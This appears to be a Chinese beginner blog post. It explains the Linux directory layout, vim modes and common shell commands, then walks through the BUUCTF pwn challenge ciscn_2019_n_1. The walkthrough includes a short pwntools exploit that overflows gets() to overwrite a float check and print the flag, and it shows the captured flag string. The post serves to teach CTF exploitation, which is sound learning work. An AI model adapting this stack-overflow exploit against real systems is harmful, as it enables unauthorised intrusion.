linux系统的基础知识(一些常见命令,一道pwn的栈溢出的题目)

首先,先简单了解学习一下linux系统的常用的命令,因为pwn的学习基本在虚拟机里面进行,所以这很重要。

一:目录介绍

linux系统中一切皆文件

/bin
是binary的缩写,这个目录存放着最经常使用的命令,通过上方桌面可以看到bin文件夹有个箭头,是链接到 /usr/bin下,相当于快捷方式,进入/bin和/usr/bin下是一模一样的

/sbin

s就是super User的意思,这里存放的是系统管理员使用的系统管理程序。

/home

存放普通用户的主目录,在Linux中每个用户都有一个自己的目录,一般该目录名是以用户的账号命名的。

/root

该目录为系统管理员,也称为超级权限者的用户主目录。

/lib

系统开机所需要最基本的动态连接共享库,其作用类似于windows里的DLL文件。几乎所有的应用程序都需要用到这些共享库。

/etc

所有的系统管理所需要的配置文件和子目录。

/usr

这是一个非常重要的目录,用户的很多应用程序和文件都放在这个目录下,类似于windows下的program fies目录。
/boot

这里存放的是启动linux时使用的一些核心文件,包括一些连接文件以及镜像文件,自己的安装别放这里。

/proc

这个目录是一个虚拟目录,它是系统内存的映射,我们可以通过直接访问这个目录来获取系统信息。

/srv

service缩写,该目录存放一些服务启动之后需要提取的数据。

/sys

这是linux2.6内核的一个很大的变化。该目录下安装了2.6内核中新出现的一个文件系统sysfs。

/tmp

这个目录是用来存放一些临时文件的。

/dev

类似于windows的设备管理器,把所有的硬件用文件的形式存储。管理着所有设备,例如CPU、硬盘等等

/media

linux系统会自动识别一些设备,例如U盘、光驱等等,当识别后,linux会把识别的设备挂载到这个目录下。

centos7迁移到/run/media

/mnt

系统提供该目录是为了让用户临时挂载别的文件系统的,我们可以将外部的存储挂载在/mnt上,然后进入该目录就可以查看里面的内容了。和media差不多

/opt

这是给主机额外安装软件所摆放的目录。比如你安装一个mysql数据库则就可以放在这个目录下。默认是空的。

/var

这个目录中存放着在不断扩充的东西,我们习惯将那些经常被修改的目录放在这个目录下。包括各种日志文件。

/lost+found

这个目录一般情况下是空的,当系统非法关机后,这里就存放了一些文件。

/www

/www目录可以用于存储Web应用程序或网站文件,/www目录没有特别的用途,它只是一个常规目录,可以根据需要进行使用和管理。

二:vi / vim编辑器

用户@主机名 组成, ~号代表当前目录位置,#号代表管理员用户,普通用户都是$号

VI 是 Unix 操作系统和类 Unix 操作系统中最通用的文本编辑器。VIM 编辑器是从 VI 发展出来的一个性能更强大的文本编辑器。可以主动的以字体颜色辨别语法的正确性,方便程序设计。VIM 与 VI 编辑器完全兼容。

模式转换

进来默认一般模式,想要编辑文本就按i进入编辑模式

vim常用语法:

一般模式:

编辑模式:

按『Esc』键 退出编辑模式,之后所在的模式为一般模式。

命令模式:

 三:常用命令

1、文件目录类

1)、查看内核/操作系统/CPU信息

pwd

2)、ls 列出目录的内容
 ls:列出当前目录中的文件和子目录。
 ls -l:以长格式列出当前目录中的文件和子目录,包括文件权限、所有者、文件大小、修改日期等详细信息。
 ls -a:列出当前目录中的所有文件和子目录,包括隐藏文件和目录。
 ls -h:以人类可读的格式列出文件大小,例如,使用KB、MB、GB等单位。
 ls -t:按修改时间排序列出文件和子目录,最新修改的文件和目录将显示在最上面。
 ls -r:反向排序列出文件和子目录,即从最后一个文件或目录开始列出。
 ls -R:递归列出当前目录及其子目录中的所有文件和子目录。
 ls -i:显示每个文件和目录的inode号码。

ls [选项] [目录或是文件]

可以多个参数组合如:ls -al

每行列出的信息依次是: 文件类型与权限,链接数,文件属主,文件属组,文件大小用byte来表示,建立或最近修改的时间,名字

3)、cd 切换目录

4)、mkdir 创建一个新的目录 、 rmdir 删除一个空的目录

mkdir [选项] 要创建的目录

mkdir xiyou
mkdir -p xiyou/dssz/meihouwang  # -p 创建多层目录

rmdir 要删除的空目录

rmdir xiyou/dssz/meihouwang
5)、touch 创建空文件

touch 文件名称

touch xiyou/dssz/sunwukong.txt
6)、cp 复制文件或目录

cp 源文件 目标文件

1)、复制文件

cp xiyou/dssz/suwukong.txt xiyou/mingjie/

2)、递归复制整改文件夹
参数 : -r 递归复制整个文件夹

cp -r xiyou/dssz/ ./
7)、rm 删除文件或目录

rm [选项] deleteFile (功能描述:递归删除目录中所有内容)

rm sunwukong.txt # 删除文件

rm -rf dssz/  # 递归删除目录中所有内容
8)、mv 移动文件与目录或重命名

mv 源文件 目标文件

(1)mv oldNameFile newNameFile (功能描述:重命名)

(2)mv /temp/movefile /targetFolder (功能描述:移动文件)

# 重命名
mv xiyou/dssz/suwukong.txt xiyou/dssz/houge.txt

# 移动文件
mv xiyou/dssz/houge.txt ./
9)、cat 查看文件内容

查看文件内容,从第一行开始显示。

一般查看比较小的文件,一屏幕能显示全的。

cat -n houge.txt  # -n参数显示行号
10)、more 文件内容分屏查看器

more 要查看的文件

more nginx.conf 

11)、less 分屏显示文件内容
less 指令用来分屏查看文件内容,它的功能与 more 指令类似,但是比 more 指令更加强大,支持各种显示终端。less 指令在显示文件内容时,并不是一次将整个文件加载之后才显示,而是根据显示需要加载内容,对于显示大型文件具有较高的效率。

less nginx.conf 

.......还有很多,这里只是介绍了一些常用的命令

pwn栈溢出的例题:

ciscn_2019_n_1(Buuctf)

1.先checksec一下

  NX不可执行,其余保护没有开启,shellcode方法不可用,不过没关系,这个题考点不在这里

2.IDA静态分析一下

       虽然我们的main函数平平无奇,但是func函数可不得了system("cat/flag")后门都给你了,甚至还有个gets函数,想办法利用得了,我们的思路来到ret2text上面

main函数调用了func(),func中存在经典gets()漏洞,这题逻辑就是输入v1,但判断v2的值是否是11.28125

方法一:地址覆盖

双击func()

二、构造exp

获取v2的值:

        首先找到func函数的汇编页,我们看到ucomiss指令(这就是判定v2==11.28125的那一条)我们将鼠标放在dword_4007F4上面就可以看到11.28125对应的大小

  或者双击dword_4007F4,进入以下页面

exp:

 
from pwn import*
v2=0x41348000
payload=b'A'*(0x30-0x04)+p64(v2)
io=remote('node5.buuoj.cn',29535)
io.sendline(payload)
io.interactive()

去虚拟机里面运行,运行结果:

flag{bf9863e7-31a6-493f-a1c8-d42fe15afcdf}

 

  • 24
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值